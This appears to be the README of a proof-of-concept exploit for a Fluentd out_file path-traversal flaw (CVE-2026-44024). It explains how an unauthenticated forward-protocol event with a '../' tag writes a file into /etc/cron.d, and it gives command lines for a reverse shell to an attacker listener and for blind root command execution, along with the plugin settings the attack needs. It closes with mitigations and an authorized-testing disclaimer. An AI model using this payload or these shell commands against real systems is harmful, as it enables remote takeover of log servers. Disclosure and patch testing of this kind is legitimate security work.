
PoC-эксплойт для CVE-2026-44024, использующий специально сформированный тег in_forward для записи произвольных файлов через обход пути out_file в Fluentd и запускающий выполнение команд.
out_file ${tag} Path-Traversal Arbitrary File WriteНеаутентифицированная произвольная запись файла в плагине out_file Fluentd
через плейсхолдер ${tag}.
out_file позволяет операторам задавать шаблон пути вывода с плейсхолдером ${tag}
(например, path /var/log/fluent/${tag}). Output#extract_placeholders
(lib/fluent/plugin/output.rb) подставляет тег события в путь без санитизации
../ (CWE-22):
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # контролируемый атакующим тег, без проверки на ../
События, поступающие по протоколу in_forward (порт 24224), содержат тег, взятый дословно из
сообщения, а allow_anonymous_source по умолчанию равен true, поэтому неаутентифицированный
атакующий может задать тег вида ../../../../../../etc/cron.d/pwn, чтобы выйти за пределы
сконфигурированной директории и записать файл по произвольному абсолютному пути от имени
пользователя процесса fluentd.
<= 1.19.21.19.3 (отклоняет компоненты ..//абсолютные пути в теге перед подстановкой ${tag}, PR #5391)in_forward, а не in_httpin_http формирует тег из пути URL с помощью path.split('/').join('.'), что превращает каждый /
в . — поэтому ../ не может сохраниться в Linux (а %2f не декодируется). Только протокол
forward (24224) передаёт тег байт-в-байт. Этот эксплойт говорит ровно настолько, насколько нужно
для этого протокола (сообщение msgpack [tag, time, record]), имея встроенный крошечный
энкодер — без зависимостей.
Только стандартная библиотека Python 3. Цель должна запускать уязвимый Fluentd с out_file, у которого
path содержит ${tag}, и анонимный источник in_forward (значения по умолчанию). Чтобы превратить
запись в чистый файл для cron, нужен out_file, который не искажает имя файла/содержимое (например,
add_path_suffix false, append true, без timekey, формат single_value) — в противном случае
используйте запись файла для перезаписи файла с известным путём.
# reverse shell (сначала запустите слушатель: nc -lvnp 4444). Срабатывает через cron в течение ~60с.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# слепая команда от root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# нестандартный forward-порт
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
Отправляет forward-событие ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]
на порт 24224. out_file раскрывает ${tag} → /var/log/fluent/../../../../../../etc/cron.d/pwn
= /etc/cron.d/pwn и (с форматом single_value) записывает msg из записи дословно → получается
валидная строка cron. cron выполняет её в течение ~60 с от имени пользователя fluentd (root, если
fluentd запущен от root).
Обновите Fluentd до версии ≥ 1.19.3; не открывайте forward-порт для ненадёжных сетей (включите
аутентификацию по общему ключу / allow_anonymous_source false); не запускайте fluentd от root;
избегайте ${tag} в путях вывода для недоверенных входных данных.
Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.